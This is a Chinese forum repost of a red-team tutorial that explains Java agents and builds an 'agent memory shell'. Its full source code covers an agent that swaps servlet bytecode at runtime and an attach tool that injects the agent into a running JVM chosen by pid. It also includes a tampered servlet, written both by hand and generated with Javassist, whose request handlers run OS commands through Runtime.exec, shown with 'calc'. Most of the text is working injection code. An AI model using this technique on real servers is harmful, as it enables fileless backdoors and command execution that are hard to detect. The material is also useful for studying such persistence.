|
本帖最后由 luozhenni 于 2022-4-11 11:11 编辑
java agent使用与agent内存马
原创 naihe567 红队蓝军2022-04-11 10:36
原文链接:java agent使用与agent内存马
什么是java agent
本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象,我们可以通过Instrumentation对象对还未加载的class进行拦截与修改。
还有一种实现方式是利用agentmain()函数。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。对应进程接着会调用agentmain函数,进而操作Instrumentation对象,Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改其中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写。
Java agent的使用方式有两种:
实现premain方法,在JVM启动前加载。
实现agentmain方法,在JVM启动后加载。
agent基础使用
环境搭建
agent项目源码
agent:
- package com.naihe;
- import java.io.IOException;
- import java.lang.instrument.*;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.security.ProtectionDomain;
- public class agent {
- //java agent 入口
- public static void premain(String agentOps, Instrumentation inst) {
- System.out.println("=========premain方法执行========");
- simpleDemo(agentOps, inst);
- }
- public static void agentmain(String agentOps, Instrumentation inst) {
- System.out.println("=========agentmain方法执行========");
- simpleDemo(agentOps, inst);
- //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
- //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
- for (Class allLoadedClass : inst.getAllLoadedClasses()) {
- //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
- if(allLoadedClass.getName().contains("com.naihe.Demo")){
- try {
- inst.retransformClasses(allLoadedClass);
- } catch (UnmodifiableClassException e) {
- e.printStackTrace();
- }
- }
- }
- }
- public static void simpleDemo(String agentOps, Instrumentation inst) {
- inst.addTransformer(new ClassFileTransformer() {
- @Override
- public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
- //判断是指定的class
- if ("com/naihe/Demo".equals(className)) {
- try {
- //获取更改后的类class 字节数组
- String path="C:/Users/12107/Desktop/Demo2.class";
- classfileBuffer = Files.readAllBytes(Paths.get(path));
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- return classfileBuffer;
- }
- },true);
- }
- }
复制代码
app项目源码
application:
- package com.naihe;
- public class application {
- public static void main(String[] args) {
- while(true){
- new Demo().Test();
- try {
- Thread.sleep(500);
- }catch (Exception e){}
- }
- }
- }
复制代码
Demo:
- package com.naihe;
- public class Demo {
- public static void Test() {
- System.out.println("正常运行中.....");
- }
- }
复制代码
attach:
- package com.naihe;
- import com.sun.tools.attach.*;
- import java.io.IOException;
- import java.util.List;
- import java.util.Scanner;
- import java.util.stream.Collectors;
- public class attach {
- public static void main(String[] args) {
- //查找所有jvm进程,排除attach测试工程
- List<VirtualMachineDescriptor> attach = VirtualMachine.list()
- .stream()
- .filter(jvm -> {
- return !jvm.displayName().contains("attach");
- }).collect(Collectors.toList());
- for (int i = 0; i < attach.size(); i++) {
- System.out.println("[" + i + "] " + attach.get(i).displayName()+":"+attach.get(i).id());
- }
- System.out.println("请输入需要attach的pid编号");
- Scanner scanner = new Scanner(System.in);
- String s = scanner.nextLine();
- VirtualMachineDescriptor virtualMachineDescriptor = attach.get(new Integer(s));
- try {
- VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
- virtualMachine.loadAgent("C:\\Users\\12107\\Desktop\\agent.jar", "param");
- virtualMachine.detach();
- } catch (AttachNotSupportedException e) {
- System.out.println("AttachNotSupportedException:" + e.getMessage());
- } catch (IOException e) {
- System.out.println("IOException:" + e.getMessage());
- } catch (AgentLoadException e) {
- System.out.println("AgentLoadException:" + e.getMessage());
- } catch (AgentInitializationException e) {
- System.out.println("AgentInitializationException:" + e.getMessage());
- }
- }
- }
复制代码
retransformClasses:对于已经加载的类重新进行转换处理,即会触发重新加载类定义,需要注意的是,新加载的类不能修改旧有的类声明,譬如不能增加属性、不能修改方法声明
静态修改class
一,将agent打包成jar包
进入classes目录
这边直接打包得com文件,因为这只是一个小Demo给大家演示一下,并没有使用字节码相关的库
二,修改MANIFEST.MF
使用解压工具打开MANIFEST.MF,并修改内容
- <div>Premain-Class: com.naihe.agent</div><div>Agent-Class: com.naihe.agent</div><div>Can-Redefine-Classes: true</div><div>Can-Retransform-Classes: true</div>
复制代码
三,加载agent.jar
运行app中的application
使用ideal加载jar
- -javaagent:C:/Users/12107/Desktop/agent.jar
复制代码
动态修改class
清除之前的内容
正常运行
运行attach
可以看到Demo的test方法已经被修改了
agent内存马
搭建一个简单的Servlet项目
ServletDemo- package com.naihe;
- import javax.servlet.ServletException;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.IOException;
- public class ServletDemo extends HttpServlet {
- @Override
- protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- resp.getWriter().write("123");
- }
- @Override
- protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- doGet(req, resp);
- }
- }
复制代码
web.xml- <?xml version="1.0" encoding="UTF-8"?>
- <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
- version="4.0"
- metadata-complete="false"
- >
- <!--注册Servlet-->
- <servlet>
- <servlet-name>demo</servlet-name>
- <servlet-class>com.naihe.ServletDemo</servlet-class>
- </servlet>
- <!--Servlet的请求路径-->
- <servlet-mapping>
- <servlet-name>demo</servlet-name>
- <url-pattern>/demo</url-pattern>
- </servlet-mapping>
- </web-app>
复制代码
agent- package com.naihe;
- import java.io.IOException;
- import java.lang.instrument.*;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- import java.security.ProtectionDomain;
- public class agent {
- //java agent 入口
- public static void premain(String agentOps, Instrumentation inst) {
- System.out.println("=========premain方法执行========");
- simpleDemo(agentOps, inst);
- }
- public static void agentmain(String agentOps, Instrumentation inst) {
- System.out.println("=========agentmain方法执行========");
- simpleDemo(agentOps, inst);
- //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
- //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
- for (Class allLoadedClass : inst.getAllLoadedClasses()) {
- //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
- if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
- try {
- inst.retransformClasses(allLoadedClass);
- } catch (UnmodifiableClassException e) {
- e.printStackTrace();
- }
- }
- }
- }
- public static void simpleDemo(String agentOps, Instrumentation inst) {
- inst.addTransformer(new ClassFileTransformer() {
- @Override
- public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
- //判断是指定的class
- if ("com/naihe/ServletDemo".equals(className)) {
- try {
- //获取更改后的类class 字节数组
- String path="C:/Users/12107/Desktop/ServletDemo2.class";
- classfileBuffer = Files.readAllBytes(Paths.get(path));
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- return classfileBuffer;
- }
- },true);
- }
- }
复制代码
ServletDemo2为ServletDemo被恶意修改后的文件
- package com.naihe;
- import javax.servlet.ServletException;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.IOException;
- public class ServletDemo extends HttpServlet {
- @Override
- protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- Runtime.getRuntime().exec("calc");
- resp.getWriter().write("success");
- }
- @Override
- protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- doGet(req, resp);
- }
- }
复制代码
开启tomcat
运行attch:
以上的利用都是自己写好一个恶意类编译并上传使用,下面就是利用javaassist动态生成class后加载
利用Javaassist- package com.naihe;
- import javassist.*;
- import java.io.File;
- import java.io.FileOutputStream;
- import java.io.IOException;
- import java.lang.instrument.*;
- import java.lang.reflect.InvocationTargetException;
- import java.security.ProtectionDomain;
- public class agent {
- //java agent 入口
- public static void premain(String agentOps, Instrumentation inst) {
- System.out.println("=========premain方法执行========");
- simpleDemo(agentOps, inst);
- }
- public static void agentmain(String agentOps, Instrumentation inst) {
- System.out.println("=========agentmain方法执行========");
- simpleDemo(agentOps, inst);
- //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
- //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
- for (Class allLoadedClass : inst.getAllLoadedClasses()) {
- //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
- if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
- try {
- inst.retransformClasses(allLoadedClass);
- } catch (UnmodifiableClassException e) {
- e.printStackTrace();
- }
- }
- }
- }
- public static void simpleDemo(String agentOps, Instrumentation inst) {
- inst.addTransformer(new ClassFileTransformer() {
- @Override
- public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
- //判断是指定的class
- if ("com/naihe/ServletDemo".equals(className)) {
- try {
- classfileBuffer = JavaassistDemo();
- } catch (IOException | CannotCompileException | NotFoundException | IllegalAccessException | InstantiationException | NoSuchMethodException | InvocationTargetException e) {
- e.printStackTrace();
- }
- }
- return classfileBuffer;
- }
- },true);
- }
- public static byte[] JavaassistDemo() throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
- ClassPool pool = ClassPool.getDefault();
- pool.importPackage("javax.servlet.http.HttpServlet");
- pool.importPackage("java.io.IOException");
- // 1. 创建一个空类
- CtClass cc = pool.makeClass("com.naihe.ServletDemo");
- // 2.添加父类
- cc.setSuperclass(pool.get("javax.servlet.http.HttpServlet"));
- // 3. 添加无参的构造函数
- CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
- cons.setBody("{}");
- cc.addConstructor(cons);
- // 4.创建doGet方法
- CtMethod ctMethod = new CtMethod(CtClass.voidType, "doGet", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
- ctMethod.setModifiers(Modifier.PROTECTED);
- ctMethod.setBody(" try {\n" +
- " Runtime.getRuntime().exec("calc");\n" +
- " } catch (IOException var4) {\n" +
- " var4.printStackTrace();\n" +
- " }");
- cc.addMethod(ctMethod);
- // 4.创建doPost方法
- CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "doPost", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
- ctMethod2.setModifiers(Modifier.PROTECTED);
- ctMethod2.setBody(" try {\n" +
- " Runtime.getRuntime().exec("calc");\n" +
- " } catch (IOException var4) {\n" +
- " var4.printStackTrace();\n" +
- " }");
- cc.addMethod(ctMethod2);
- return cc.toBytecode();
- }
- }
复制代码
由于利用了第三方jar包因此想要导出所有项目,不能再像前面那样只导出自己写的代码了,步骤如下
在这里我将使用javaassist的agent命名为agent2
打包好的jar就在如下位置
修改MANIFEST.MF 老样子在前面添加
- Premain-Class: com.naihe.agent
- Agent-Class: com.naihe.agent
- Can-Redefine-Classes: true
- Can-Retransform-Classes: true
复制代码
访问demo
运行attach
|
|